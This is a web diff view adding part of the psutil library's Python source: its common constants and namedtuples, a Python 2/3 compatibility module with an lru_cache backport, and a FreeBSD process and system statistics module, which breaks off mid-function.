|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,246 @@
|
|||
# /usr/bin/env python
|
||||
|
||||
# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved.
|
||||
# Use of this source code is governed by a BSD-style license that can be
|
||||
# found in the LICENSE file.
|
||||
|
||||
"""Common objects shared by all _ps* modules."""
|
||||
|
||||
from __future__ import division
|
||||
import errno
|
||||
import functools
|
||||
import os
|
||||
import socket
|
||||
import stat
|
||||
import sys
|
||||
from collections import namedtuple
|
||||
from socket import AF_INET, SOCK_STREAM, SOCK_DGRAM
|
||||
try:
|
||||
import threading
|
||||
except ImportError:
|
||||
import dummy_threading as threading
|
||||
|
||||
if sys.version_info >= (3, 4):
|
||||
import enum
|
||||
else:
|
||||
enum = None
|
||||
|
||||
|
||||
# --- constants
|
||||
|
||||
AF_INET6 = getattr(socket, 'AF_INET6', None)
|
||||
AF_UNIX = getattr(socket, 'AF_UNIX', None)
|
||||
|
||||
STATUS_RUNNING = "running"
|
||||
STATUS_SLEEPING = "sleeping"
|
||||
STATUS_DISK_SLEEP = "disk-sleep"
|
||||
STATUS_STOPPED = "stopped"
|
||||
STATUS_TRACING_STOP = "tracing-stop"
|
||||
STATUS_ZOMBIE = "zombie"
|
||||
STATUS_DEAD = "dead"
|
||||
STATUS_WAKE_KILL = "wake-kill"
|
||||
STATUS_WAKING = "waking"
|
||||
STATUS_IDLE = "idle" # BSD
|
||||
STATUS_LOCKED = "locked" # BSD
|
||||
STATUS_WAITING = "waiting" # BSD
|
||||
|
||||
CONN_ESTABLISHED = "ESTABLISHED"
|
||||
CONN_SYN_SENT = "SYN_SENT"
|
||||
CONN_SYN_RECV = "SYN_RECV"
|
||||
CONN_FIN_WAIT1 = "FIN_WAIT1"
|
||||
CONN_FIN_WAIT2 = "FIN_WAIT2"
|
||||
CONN_TIME_WAIT = "TIME_WAIT"
|
||||
CONN_CLOSE = "CLOSE"
|
||||
CONN_CLOSE_WAIT = "CLOSE_WAIT"
|
||||
CONN_LAST_ACK = "LAST_ACK"
|
||||
CONN_LISTEN = "LISTEN"
|
||||
CONN_CLOSING = "CLOSING"
|
||||
CONN_NONE = "NONE"
|
||||
|
||||
if enum is None:
|
||||
NIC_DUPLEX_FULL = 2
|
||||
NIC_DUPLEX_HALF = 1
|
||||
NIC_DUPLEX_UNKNOWN = 0
|
||||
else:
|
||||
class NicDuplex(enum.IntEnum):
|
||||
NIC_DUPLEX_FULL = 2
|
||||
NIC_DUPLEX_HALF = 1
|
||||
NIC_DUPLEX_UNKNOWN = 0
|
||||
|
||||
globals().update(NicDuplex.__members__)
|
||||
|
||||
|
||||
# --- functions
|
||||
|
||||
def usage_percent(used, total, _round=None):
|
||||
"""Calculate percentage usage of 'used' against 'total'."""
|
||||
try:
|
||||
ret = (used / total) * 100
|
||||
except ZeroDivisionError:
|
||||
ret = 0
|
||||
if _round is not None:
|
||||
return round(ret, _round)
|
||||
else:
|
||||
return ret
|
||||
|
||||
|
||||
def memoize(fun):
|
||||
"""A simple memoize decorator for functions supporting (hashable)
|
||||
positional arguments.
|
||||
It also provides a cache_clear() function for clearing the cache:
|
||||
|
||||
>>> @memoize
|
||||
... def foo()
|
||||
... return 1
|
||||
...
|
||||
>>> foo()
|
||||
1
|
||||
>>> foo.cache_clear()
|
||||
>>>
|
||||
"""
|
||||
@functools.wraps(fun)
|
||||
def wrapper(*args, **kwargs):
|
||||
key = (args, frozenset(sorted(kwargs.items())))
|
||||
lock.acquire()
|
||||
try:
|
||||
try:
|
||||
return cache[key]
|
||||
except KeyError:
|
||||
ret = cache[key] = fun(*args, **kwargs)
|
||||
finally:
|
||||
lock.release()
|
||||
return ret
|
||||
|
||||
def cache_clear():
|
||||
"""Clear cache."""
|
||||
lock.acquire()
|
||||
try:
|
||||
cache.clear()
|
||||
finally:
|
||||
lock.release()
|
||||
|
||||
lock = threading.RLock()
|
||||
cache = {}
|
||||
wrapper.cache_clear = cache_clear
|
||||
return wrapper
|
||||
|
||||
|
||||
def isfile_strict(path):
|
||||
"""Same as os.path.isfile() but does not swallow EACCES / EPERM
|
||||
exceptions, see:
|
||||
http://mail.python.org/pipermail/python-dev/2012-June/120787.html
|
||||
"""
|
||||
try:
|
||||
st = os.stat(path)
|
||||
except OSError as err:
|
||||
if err.errno in (errno.EPERM, errno.EACCES):
|
||||
raise
|
||||
return False
|
||||
else:
|
||||
return stat.S_ISREG(st.st_mode)
|
||||
|
||||
|
||||
def sockfam_to_enum(num):
|
||||
"""Convert a numeric socket family value to an IntEnum member.
|
||||
If it's not a known member, return the numeric value itself.
|
||||
"""
|
||||
if enum is None:
|
||||
return num
|
||||
try:
|
||||
return socket.AddressFamily(num)
|
||||
except (ValueError, AttributeError):
|
||||
return num
|
||||
|
||||
|
||||
def socktype_to_enum(num):
|
||||
"""Convert a numeric socket type value to an IntEnum member.
|
||||
If it's not a known member, return the numeric value itself.
|
||||
"""
|
||||
if enum is None:
|
||||
return num
|
||||
try:
|
||||
return socket.AddressType(num)
|
||||
except (ValueError, AttributeError):
|
||||
return num
|
||||
|
||||
|
||||
# --- Process.connections() 'kind' parameter mapping
|
||||
|
||||
conn_tmap = {
|
||||
"all": ([AF_INET, AF_INET6, AF_UNIX], [SOCK_STREAM, SOCK_DGRAM]),
|
||||
"tcp": ([AF_INET, AF_INET6], [SOCK_STREAM]),
|
||||
"tcp4": ([AF_INET], [SOCK_STREAM]),
|
||||
"udp": ([AF_INET, AF_INET6], [SOCK_DGRAM]),
|
||||
"udp4": ([AF_INET], [SOCK_DGRAM]),
|
||||
"inet": ([AF_INET, AF_INET6], [SOCK_STREAM, SOCK_DGRAM]),
|
||||
"inet4": ([AF_INET], [SOCK_STREAM, SOCK_DGRAM]),
|
||||
"inet6": ([AF_INET6], [SOCK_STREAM, SOCK_DGRAM]),
|
||||
}
|
||||
|
||||
if AF_INET6 is not None:
|
||||
conn_tmap.update({
|
||||
"tcp6": ([AF_INET6], [SOCK_STREAM]),
|
||||
"udp6": ([AF_INET6], [SOCK_DGRAM]),
|
||||
})
|
||||
|
||||
if AF_UNIX is not None:
|
||||
conn_tmap.update({
|
||||
"unix": ([AF_UNIX], [SOCK_STREAM, SOCK_DGRAM]),
|
||||
})
|
||||
|
||||
del AF_INET, AF_INET6, AF_UNIX, SOCK_STREAM, SOCK_DGRAM
|
||||
|
||||
|
||||
# --- namedtuples for psutil.* system-related functions
|
||||
|
||||
# psutil.swap_memory()
|
||||
sswap = namedtuple('sswap', ['total', 'used', 'free', 'percent', 'sin',
|
||||
'sout'])
|
||||
# psutil.disk_usage()
|
||||
sdiskusage = namedtuple('sdiskusage', ['total', 'used', 'free', 'percent'])
|
||||
# psutil.disk_io_counters()
|
||||
sdiskio = namedtuple('sdiskio', ['read_count', 'write_count',
|
||||
'read_bytes', 'write_bytes',
|
||||
'read_time', 'write_time'])
|
||||
# psutil.disk_partitions()
|
||||
sdiskpart = namedtuple('sdiskpart', ['device', 'mountpoint', 'fstype', 'opts'])
|
||||
# psutil.net_io_counters()
|
||||
snetio = namedtuple('snetio', ['bytes_sent', 'bytes_recv',
|
||||
'packets_sent', 'packets_recv',
|
||||
'errin', 'errout',
|
||||
'dropin', 'dropout'])
|
||||
# psutil.users()
|
||||
suser = namedtuple('suser', ['name', 'terminal', 'host', 'started'])
|
||||
# psutil.net_connections()
|
||||
sconn = namedtuple('sconn', ['fd', 'family', 'type', 'laddr', 'raddr',
|
||||
'status', 'pid'])
|
||||
# psutil.net_if_addrs()
|
||||
snic = namedtuple('snic', ['family', 'address', 'netmask', 'broadcast', 'ptp'])
|
||||
# psutil.net_if_stats()
|
||||
snicstats = namedtuple('snicstats', ['isup', 'duplex', 'speed', 'mtu'])
|
||||
|
||||
|
||||
# --- namedtuples for psutil.Process methods
|
||||
|
||||
# psutil.Process.memory_info()
|
||||
pmem = namedtuple('pmem', ['rss', 'vms'])
|
||||
# psutil.Process.cpu_times()
|
||||
pcputimes = namedtuple('pcputimes', ['user', 'system'])
|
||||
# psutil.Process.open_files()
|
||||
popenfile = namedtuple('popenfile', ['path', 'fd'])
|
||||
# psutil.Process.threads()
|
||||
pthread = namedtuple('pthread', ['id', 'user_time', 'system_time'])
|
||||
# psutil.Process.uids()
|
||||
puids = namedtuple('puids', ['real', 'effective', 'saved'])
|
||||
# psutil.Process.gids()
|
||||
pgids = namedtuple('pgids', ['real', 'effective', 'saved'])
|
||||
# psutil.Process.io_counters()
|
||||
pio = namedtuple('pio', ['read_count', 'write_count',
|
||||
'read_bytes', 'write_bytes'])
|
||||
# psutil.Process.ionice()
|
||||
pionice = namedtuple('pionice', ['ioclass', 'value'])
|
||||
# psutil.Process.ctx_switches()
|
||||
pctxsw = namedtuple('pctxsw', ['voluntary', 'involuntary'])
|
||||
# psutil.Process.connections()
|
||||
pconn = namedtuple('pconn', ['fd', 'family', 'type', 'laddr', 'raddr',
|
||||
'status'])
|
|
@ -0,0 +1,189 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved.
|
||||
# Use of this source code is governed by a BSD-style license that can be
|
||||
# found in the LICENSE file.
|
||||
|
||||
"""Module which provides compatibility with older Python versions."""
|
||||
|
||||
import collections
|
||||
import functools
|
||||
import sys
|
||||
|
||||
__all__ = ["PY3", "long", "xrange", "unicode", "callable", "lru_cache"]
|
||||
|
||||
PY3 = sys.version_info[0] == 3
|
||||
|
||||
if PY3:
|
||||
long = int
|
||||
xrange = range
|
||||
unicode = str
|
||||
|
||||
def u(s):
|
||||
return s
|
||||
else:
|
||||
long = long
|
||||
xrange = xrange
|
||||
unicode = unicode
|
||||
|
||||
def u(s):
|
||||
return unicode(s, "unicode_escape")
|
||||
|
||||
|
||||
# removed in 3.0, reintroduced in 3.2
|
||||
try:
|
||||
callable = callable
|
||||
except NameError:
|
||||
def callable(obj):
|
||||
return any("__call__" in klass.__dict__ for klass in type(obj).__mro__)
|
||||
|
||||
|
||||
# --- stdlib additions
|
||||
|
||||
|
||||
# py 3.2 functools.lru_cache
|
||||
# Taken from: http://code.activestate.com/recipes/578078
|
||||
# Credit: Raymond Hettinger
|
||||
try:
|
||||
from functools import lru_cache
|
||||
except ImportError:
|
||||
try:
|
||||
from threading import RLock
|
||||
except ImportError:
|
||||
from dummy_threading import RLock
|
||||
|
||||
_CacheInfo = collections.namedtuple(
|
||||
"CacheInfo", ["hits", "misses", "maxsize", "currsize"])
|
||||
|
||||
class _HashedSeq(list):
|
||||
__slots__ = 'hashvalue'
|
||||
|
||||
def __init__(self, tup, hash=hash):
|
||||
self[:] = tup
|
||||
self.hashvalue = hash(tup)
|
||||
|
||||
def __hash__(self):
|
||||
return self.hashvalue
|
||||
|
||||
def _make_key(args, kwds, typed,
|
||||
kwd_mark=(object(), ),
|
||||
fasttypes=set((int, str, frozenset, type(None))),
|
||||
sorted=sorted, tuple=tuple, type=type, len=len):
|
||||
key = args
|
||||
if kwds:
|
||||
sorted_items = sorted(kwds.items())
|
||||
key += kwd_mark
|
||||
for item in sorted_items:
|
||||
key += item
|
||||
if typed:
|
||||
key += tuple(type(v) for v in args)
|
||||
if kwds:
|
||||
key += tuple(type(v) for k, v in sorted_items)
|
||||
elif len(key) == 1 and type(key[0]) in fasttypes:
|
||||
return key[0]
|
||||
return _HashedSeq(key)
|
||||
|
||||
def lru_cache(maxsize=100, typed=False):
|
||||
"""Least-recently-used cache decorator, see:
|
||||
http://docs.python.org/3/library/functools.html#functools.lru_cache
|
||||
"""
|
||||
def decorating_function(user_function):
|
||||
cache = dict()
|
||||
stats = [0, 0]
|
||||
HITS, MISSES = 0, 1
|
||||
make_key = _make_key
|
||||
cache_get = cache.get
|
||||
_len = len
|
||||
lock = RLock()
|
||||
root = []
|
||||
root[:] = [root, root, None, None]
|
||||
nonlocal_root = [root]
|
||||
PREV, NEXT, KEY, RESULT = 0, 1, 2, 3
|
||||
if maxsize == 0:
|
||||
def wrapper(*args, **kwds):
|
||||
result = user_function(*args, **kwds)
|
||||
stats[MISSES] += 1
|
||||
return result
|
||||
elif maxsize is None:
|
||||
def wrapper(*args, **kwds):
|
||||
key = make_key(args, kwds, typed)
|
||||
result = cache_get(key, root)
|
||||
if result is not root:
|
||||
stats[HITS] += 1
|
||||
return result
|
||||
result = user_function(*args, **kwds)
|
||||
cache[key] = result
|
||||
stats[MISSES] += 1
|
||||
return result
|
||||
else:
|
||||
def wrapper(*args, **kwds):
|
||||
if kwds or typed:
|
||||
key = make_key(args, kwds, typed)
|
||||
else:
|
||||
key = args
|
||||
lock.acquire()
|
||||
try:
|
||||
link = cache_get(key)
|
||||
if link is not None:
|
||||
root, = nonlocal_root
|
||||
link_prev, link_next, key, result = link
|
||||
link_prev[NEXT] = link_next
|
||||
link_next[PREV] = link_prev
|
||||
last = root[PREV]
|
||||
last[NEXT] = root[PREV] = link
|
||||
link[PREV] = last
|
||||
link[NEXT] = root
|
||||
stats[HITS] += 1
|
||||
return result
|
||||
finally:
|
||||
lock.release()
|
||||
result = user_function(*args, **kwds)
|
||||
lock.acquire()
|
||||
try:
|
||||
root, = nonlocal_root
|
||||
if key in cache:
|
||||
pass
|
||||
elif _len(cache) >= maxsize:
|
||||
oldroot = root
|
||||
oldroot[KEY] = key
|
||||
oldroot[RESULT] = result
|
||||
root = nonlocal_root[0] = oldroot[NEXT]
|
||||
oldkey = root[KEY]
|
||||
root[KEY] = root[RESULT] = None
|
||||
del cache[oldkey]
|
||||
cache[key] = oldroot
|
||||
else:
|
||||
last = root[PREV]
|
||||
link = [last, root, key, result]
|
||||
last[NEXT] = root[PREV] = cache[key] = link
|
||||
stats[MISSES] += 1
|
||||
finally:
|
||||
lock.release()
|
||||
return result
|
||||
|
||||
def cache_info():
|
||||
"""Report cache statistics"""
|
||||
lock.acquire()
|
||||
try:
|
||||
return _CacheInfo(stats[HITS], stats[MISSES], maxsize,
|
||||
len(cache))
|
||||
finally:
|
||||
lock.release()
|
||||
|
||||
def cache_clear():
|
||||
"""Clear the cache and cache statistics"""
|
||||
lock.acquire()
|
||||
try:
|
||||
cache.clear()
|
||||
root = nonlocal_root[0]
|
||||
root[:] = [root, root, None, None]
|
||||
stats[:] = [0, 0]
|
||||
finally:
|
||||
lock.release()
|
||||
|
||||
wrapper.__wrapped__ = user_function
|
||||
wrapper.cache_info = cache_info
|
||||
wrapper.cache_clear = cache_clear
|
||||
return functools.update_wrapper(wrapper, user_function)
|
||||
|
||||
return decorating_function
|
|
@ -0,0 +1,455 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved.
|
||||
# Use of this source code is governed by a BSD-style license that can be
|
||||
# found in the LICENSE file.
|
||||
|
||||
"""FreeBSD platform implementation."""
|
||||
|
||||
import errno
|
||||
import functools
|
||||
import os
|
||||
import xml.etree.ElementTree as ET
|
||||
from collections import namedtuple
|
||||
|
||||
from . import _common
|
||||
from . import _psposix
|
||||
from . import _psutil_bsd as cext
|
||||
from . import _psutil_posix as cext_posix
|
||||
from ._common import conn_tmap, usage_percent, sockfam_to_enum
|
||||
from ._common import socktype_to_enum
|
||||
|
||||
|
||||
__extra__all__ = []
|
||||
|
||||
# --- constants
|
||||
|
||||
PROC_STATUSES = {
|
||||
cext.SSTOP: _common.STATUS_STOPPED,
|
||||
cext.SSLEEP: _common.STATUS_SLEEPING,
|
||||
cext.SRUN: _common.STATUS_RUNNING,
|
||||
cext.SIDL: _common.STATUS_IDLE,
|
||||
cext.SWAIT: _common.STATUS_WAITING,
|
||||
cext.SLOCK: _common.STATUS_LOCKED,
|
||||
cext.SZOMB: _common.STATUS_ZOMBIE,
|
||||
}
|
||||
|
||||
TCP_STATUSES = {
|
||||
cext.TCPS_ESTABLISHED: _common.CONN_ESTABLISHED,
|
||||
cext.TCPS_SYN_SENT: _common.CONN_SYN_SENT,
|
||||
cext.TCPS_SYN_RECEIVED: _common.CONN_SYN_RECV,
|
||||
cext.TCPS_FIN_WAIT_1: _common.CONN_FIN_WAIT1,
|
||||
cext.TCPS_FIN_WAIT_2: _common.CONN_FIN_WAIT2,
|
||||
cext.TCPS_TIME_WAIT: _common.CONN_TIME_WAIT,
|
||||
cext.TCPS_CLOSED: _common.CONN_CLOSE,
|
||||
cext.TCPS_CLOSE_WAIT: _common.CONN_CLOSE_WAIT,
|
||||
cext.TCPS_LAST_ACK: _common.CONN_LAST_ACK,
|
||||
cext.TCPS_LISTEN: _common.CONN_LISTEN,
|
||||
cext.TCPS_CLOSING: _common.CONN_CLOSING,
|
||||
cext.PSUTIL_CONN_NONE: _common.CONN_NONE,
|
||||
}
|
||||
|
||||
PAGESIZE = os.sysconf("SC_PAGE_SIZE")
|
||||
AF_LINK = cext_posix.AF_LINK
|
||||
|
||||
# extend base mem ntuple with BSD-specific memory metrics
|
||||
svmem = namedtuple(
|
||||
'svmem', ['total', 'available', 'percent', 'used', 'free',
|
||||
'active', 'inactive', 'buffers', 'cached', 'shared', 'wired'])
|
||||
scputimes = namedtuple(
|
||||
'scputimes', ['user', 'nice', 'system', 'idle', 'irq'])
|
||||
pextmem = namedtuple('pextmem', ['rss', 'vms', 'text', 'data', 'stack'])
|
||||
pmmap_grouped = namedtuple(
|
||||
'pmmap_grouped', 'path rss, private, ref_count, shadow_count')
|
||||
pmmap_ext = namedtuple(
|
||||
'pmmap_ext', 'addr, perms path rss, private, ref_count, shadow_count')
|
||||
|
||||
# set later from __init__.py
|
||||
NoSuchProcess = None
|
||||
ZombieProcess = None
|
||||
AccessDenied = None
|
||||
TimeoutExpired = None
|
||||
|
||||
|
||||
def virtual_memory():
|
||||
"""System virtual memory as a namedtuple."""
|
||||
mem = cext.virtual_mem()
|
||||
total, free, active, inactive, wired, cached, buffers, shared = mem
|
||||
avail = inactive + cached + free
|
||||
used = active + wired + cached
|
||||
percent = usage_percent((total - avail), total, _round=1)
|
||||
return svmem(total, avail, percent, used, free,
|
||||
active, inactive, buffers, cached, shared, wired)
|
||||
|
||||
|
||||
def swap_memory():
|
||||
"""System swap memory as (total, used, free, sin, sout) namedtuple."""
|
||||
total, used, free, sin, sout = [x * PAGESIZE for x in cext.swap_mem()]
|
||||
percent = usage_percent(used, total, _round=1)
|
||||
return _common.sswap(total, used, free, percent, sin, sout)
|
||||
|
||||
|
||||
def cpu_times():
|
||||
"""Return system per-CPU times as a namedtuple"""
|
||||
user, nice, system, idle, irq = cext.cpu_times()
|
||||
return scputimes(user, nice, system, idle, irq)
|
||||
|
||||
|
||||
if hasattr(cext, "per_cpu_times"):
|
||||
def per_cpu_times():
|
||||
"""Return system CPU times as a namedtuple"""
|
||||
ret = []
|
||||
for cpu_t in cext.per_cpu_times():
|
||||
user, nice, system, idle, irq = cpu_t
|
||||
item = scputimes(user, nice, system, idle, irq)
|
||||
ret.append(item)
|
||||
return ret
|
||||
else:
|
||||
# XXX
|
||||
# Ok, this is very dirty.
|
||||
# On FreeBSD < 8 we cannot gather per-cpu information, see:
|
||||
# https://github.com/giampaolo/psutil/issues/226
|
||||
# If num cpus > 1, on first call we return single cpu times to avoid a
|
||||
# crash at psutil import time.
|
||||
# Next calls will fail with NotImplementedError
|
||||
def per_cpu_times():
|
||||
if cpu_count_logical() == 1:
|
||||
return [cpu_times()]
|
||||
if per_cpu_times.__called__:
|
||||
raise NotImplementedError("supported only starting from FreeBSD 8")
|
||||
per_cpu_times.__called__ = True
|
||||
return [cpu_times()]
|
||||
|
||||
per_cpu_times.__called__ = False
|
||||
|
||||
|
||||
def cpu_count_logical():
|
||||
"""Return the number of logical CPUs in the system."""
|
||||
return cext.cpu_count_logical()
|
||||
|
||||
|
||||
def cpu_count_physical():
|
||||
"""Return the number of physical CPUs in the system."""
|
||||
# From the C module we'll get an XML string similar to this:
|
||||
# http://manpages.ubuntu.com/manpages/precise/man4/smp.4freebsd.html
|
||||
# We may get None in case "sysctl kern.sched.topology_spec"
|
||||
# is not supported on this BSD version, in which case we'll mimic
|
||||
# os.cpu_count() and return None.
|
||||
ret = None
|
||||
s = cext.cpu_count_phys()
|
||||
if s is not None:
|
||||
# get rid of padding chars appended at the end of the string
|
||||
index = s.rfind("</groups>")
|
||||
if index != -1:
|
||||
s = s[:index + 9]
|
||||
root = ET.fromstring(s)
|
||||
try:
|
||||
ret = len(root.findall('group/children/group/cpu')) or None
|
||||
finally:
|
||||
# needed otherwise it will memleak
|
||||
root.clear()
|
||||
if not ret:
|
||||
# If logical CPUs are 1 it's obvious we'll have only 1
|
||||
# physical CPU.
|
||||
if cpu_count_logical() == 1:
|
||||
return 1
|
||||
return ret
|
||||
|
||||
|
||||
def boot_time():
|
||||
"""The system boot time expressed in seconds since the epoch."""
|
||||
return cext.boot_time()
|
||||
|
||||
|
||||
def disk_partitions(all=False):
|
||||
retlist = []
|
||||
partitions = cext.disk_partitions()
|
||||
for partition in partitions:
|
||||
device, mountpoint, fstype, opts = partition
|
||||
if device == 'none':
|
||||
device = ''
|
||||
if not all:
|
||||
if not os.path.isabs(device) or not os.path.exists(device):
|
||||
continue
|
||||
ntuple = _common.sdiskpart(device, mountpoint, fstype, opts)
|
||||
retlist.append(ntuple)
|
||||
return retlist
|
||||
|
||||
|
||||
def users():
|
||||
retlist = []
|
||||
rawlist = cext.users()
|
||||
for item in rawlist:
|
||||
user, tty, hostname, tstamp = item
|
||||
if tty == '~':
|
||||
continue # reboot or shutdown
|
||||
nt = _common.suser(user, tty or None, hostname, tstamp)
|
||||
retlist.append(nt)
|
||||
return retlist
|
||||
|
||||
|
||||
def net_connections(kind):
|
||||
if kind not in _common.conn_tmap:
|
||||
raise ValueError("invalid %r kind argument; choose between %s"
|
||||
% (kind, ', '.join([repr(x) for x in conn_tmap])))
|
||||
families, types = conn_tmap[kind]
|
||||
ret = set()
|
||||
rawlist = cext.net_connections()
|
||||
for item in rawlist:
|
||||
fd, fam, type, laddr, raddr, status, pid = item
|
||||
# TODO: apply filter at C level
|
||||
if fam in families and type in types:
|
||||
try:
|
||||
status = TCP_STATUSES[status]
|
||||
except KeyError:
|
||||
# XXX: Not sure why this happens. I saw this occurring
|
||||
# with IPv6 sockets opened by 'vim'. Those sockets
|
||||
# have a very short lifetime so maybe the kernel
|
||||
# can't initialize their status?
|
||||
status = TCP_STATUSES[cext.PSUTIL_CONN_NONE]
|
||||
fam = sockfam_to_enum(fam)
|
||||
type = socktype_to_enum(type)
|
||||
nt = _common.sconn(fd, fam, type, laddr, raddr, status, pid)
|
||||
ret.add(nt)
|
||||
return list(ret)
|
||||
|
||||
|
||||
def net_if_stats():
|
||||
"""Get NIC stats (isup, duplex, speed, mtu)."""
|
||||
names = net_io_counters().keys()
|
||||
ret = {}
|
||||
for name in names:
|
||||
isup, duplex, speed, mtu = cext_posix.net_if_stats(name)
|
||||
if hasattr(_common, 'NicDuplex'):
|
||||
duplex = _common.NicDuplex(duplex)
|
||||
ret[name] = _common.snicstats(isup, duplex, speed, mtu)
|
||||
return ret
|
||||
|
||||
|
||||
pids = cext.pids
|
||||
pid_exists = _psposix.pid_exists
|
||||
disk_usage = _psposix.disk_usage
|
||||
net_io_counters = cext.net_io_counters
|
||||
disk_io_counters = cext.disk_io_counters
|
||||
net_if_addrs = cext_posix.net_if_addrs
|
||||
|
||||
|
||||
def wrap_exceptions(fun):
|
||||
"""Decorator which translates bare OSError exceptions into
|
||||
NoSuchProcess and AccessDenied.
|
||||
"""
|
||||
@functools.wraps(fun)
|
||||
def wrapper(self, *args, **kwargs):
|
||||
try:
|
||||
return fun(self, *args, **kwargs)
|
||||
except OSError as err:
|
||||
# support for private module import
|
||||
if (NoSuchProcess is None or AccessDenied is None or
|
||||
ZombieProcess is None):
|
||||
raise
|
||||
if err.errno == errno.ESRCH:
|
||||
if not pid_exists(self.pid):
|
||||
raise NoSuchProcess(self.pid, self._name)
|
||||
else:
|
||||
raise ZombieProcess(self.pid, self._name, self._ppid)
|
||||
if err.errno in (errno.EPERM, errno.EACCES):
|
||||
raise AccessDenied(self.pid, self._name)
|
||||
raise
|
||||
return wrapper
|
||||
|
||||
|
||||
class Process(object):
|
||||
"""Wrapper class around underlying C implementation."""
|
||||
|
||||
__slots__ = ["pid", "_name", "_ppid"]
|
||||
|
||||
def __init__(self, pid):
|
||||
self.pid = pid
|
||||
self._name = None
|
||||
self._ppid = None
|
||||
|
||||
@wrap_exceptions
|
||||
def name(self):
|
||||
return cext.proc_name(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def exe(self):
|
||||
return cext.proc_exe(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def cmdline(self):
|
||||
return cext.proc_cmdline(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def terminal(self):
|
||||
tty_nr = cext.proc_tty_nr(self.pid)
|
||||
tmap = _psposix._get_terminal_map()
|
||||
try:
|
||||
return tmap[tty_nr]
|
||||
except KeyError:
|
||||
return None
|
||||
|
||||
@wrap_exceptions
|
||||
def ppid(self):
|
||||
return cext.proc_ppid(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def uids(self):
|
||||
real, effective, saved = cext.proc_uids(self.pid)
|
||||
return _common.puids(real, effective, saved)
|
||||
|
||||
@wrap_exceptions
|
||||
def gids(self):
|
||||
real, effective, saved = cext.proc_gids(self.pid)
|
||||
return _common.pgids(real, effective, saved)
|
||||
|
||||
@wrap_exceptions
|
||||
def cpu_times(self):
|
||||
user, system = cext.proc_cpu_times(self.pid)
|
||||
return _common.pcputimes(user, system)
|
||||
|
||||
@wrap_exceptions
|
||||
def memory_info(self):
|
||||
rss, vms = cext.proc_memory_info(self.pid)[:2]
|
||||
return _common.pmem(rss, vms)
|
||||
|
||||
@wrap_exceptions
|
||||
def memory_info_ex(self):
|
||||
return pextmem(*cext.proc_memory_info(self.pid))
|
||||
|
||||
@wrap_exceptions
|
||||
def create_time(self):
|
||||
return cext.proc_create_time(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def num_threads(self):
|
||||
return cext.proc_num_threads(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def num_ctx_switches(self):
|
||||
return _common.pctxsw(*cext.proc_num_ctx_switches(self.pid))
|
||||
|
||||
@wrap_exceptions
|
||||
def threads(self):
|
||||
rawlist = cext.proc_threads(self.pid)
|
||||
retlist = []
|
||||
for thread_id, utime, stime in rawlist:
|
||||
ntuple = _common.pthread(thread_id, utime, stime)
|
||||
retlist.append(ntuple)
|
||||
return retlist
|
||||
|
||||
@wrap_exceptions
|
||||
def connections(self, kind='inet'):
|
||||
if kind not in conn_tmap:
|
||||
raise ValueError("invalid %r kind argument; choose between %s"
|
||||
% (kind, ', '.join([repr(x) for x in conn_tmap])))
|
||||
families, types = conn_tmap[kind]
|
||||
rawlist = cext.proc_connections(self.pid, families, types)
|
||||
ret = []
|
||||
for item in rawlist:
|
||||
fd, fam, type, laddr, raddr, status = item
|
||||
fam = sockfam_to_enum(fam)
|
||||
type = socktype_to_enum(type)
|
||||
status = TCP_STATUSES[status]
|
||||
nt = _common.pconn(fd, fam, type, laddr, raddr, status)
|
||||
ret.append(nt)
|
||||
return ret
|
||||
|
||||
@wrap_exceptions
|
||||
def wait(self, timeout=None):
|
||||
try:
|
||||
return _psposix.wait_pid(self.pid, timeout)
|
||||
except _psposix.TimeoutExpired:
|
||||
# support for private module import
|
||||
if TimeoutExpired is None:
|
||||
raise
|
||||
raise TimeoutExpired(timeout, self.pid, self._name)
|
||||
|
||||
@wrap_exceptions
|
||||
def nice_get(self):
|
||||
return cext_posix.getpriority(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def nice_set(self, value):
|
||||
return cext_posix.setpriority(self.pid, value)
|
||||
|
||||
@wrap_exceptions
|
||||
def status(self):
|
||||
code = cext.proc_status(self.pid)
|
||||
if code in PROC_STATUSES:
|
||||
return PROC_STATUSES[code]
|
||||
# XXX is this legit? will we even ever get here?
|
||||
return "?"
|
||||
|
||||
@wrap_exceptions
|
||||
def io_counters(self):
|
||||
rc, wc, rb, wb = cext.proc_io_counters(self.pid)
|
||||
return _common.pio(rc, wc, rb, wb)
|
||||
|
||||
nt_mmap_grouped = namedtuple(
|
||||
'mmap', 'path rss, private, ref_count, shadow_count')
|
||||
nt_mmap_ext = namedtuple(
|
||||
'mmap', 'addr, perms path rss, private, ref_count, shadow_count')
|
||||
|
||||
# FreeBSD < 8 does not support functions based on kinfo_getfile()
|
||||
# and kinfo_getvmmap()
|
||||
if hasattr(cext, 'proc_open_files'):
|
||||
|
||||
@wrap_exceptions
|
||||
def open_files(self):
|
||||
"""Return files opened by process as a list of namedtuples."""
|
||||
rawlist = cext.proc_open_files(self.pid)
|
||||
return [_common.popenfile(path, fd) for path, fd in rawlist]
|
||||
|
||||
@wrap_exceptions
|
||||
def cwd(self):
|
||||
"""Return process current working directory."""
|
||||
# sometimes we get an empty string, in which case we turn
|
||||
# it into None
|
||||
return cext.proc_cwd(self.pid) or None
|
||||
|
||||
@wrap_exceptions
|
||||
def memory_maps(self):
|
||||
return cext.proc_memory_maps(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def num_fds(self):
|
||||
"""Return the number of file descriptors opened by this process."""
|
||||
return cext.proc_num_fds(self.pid)
|
||||
|
||||
else:
|
||||
def _not_implemented(self):
|
||||
raise NotImplementedError("supported only starting from FreeBSD 8")
|
||||
|
||||
open_files = _not_implemented
|
||||
proc_cwd = _not_implemented
|
||||
memory_maps = _not_implemented
|
||||
num_fds = _not_implemented
|
||||
|
||||
@wrap_exceptions
|
||||
def cpu_affinity_get(self):
|
||||
return cext.proc_cpu_affinity_get(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def cpu_affinity_set(self, cpus):
|
||||
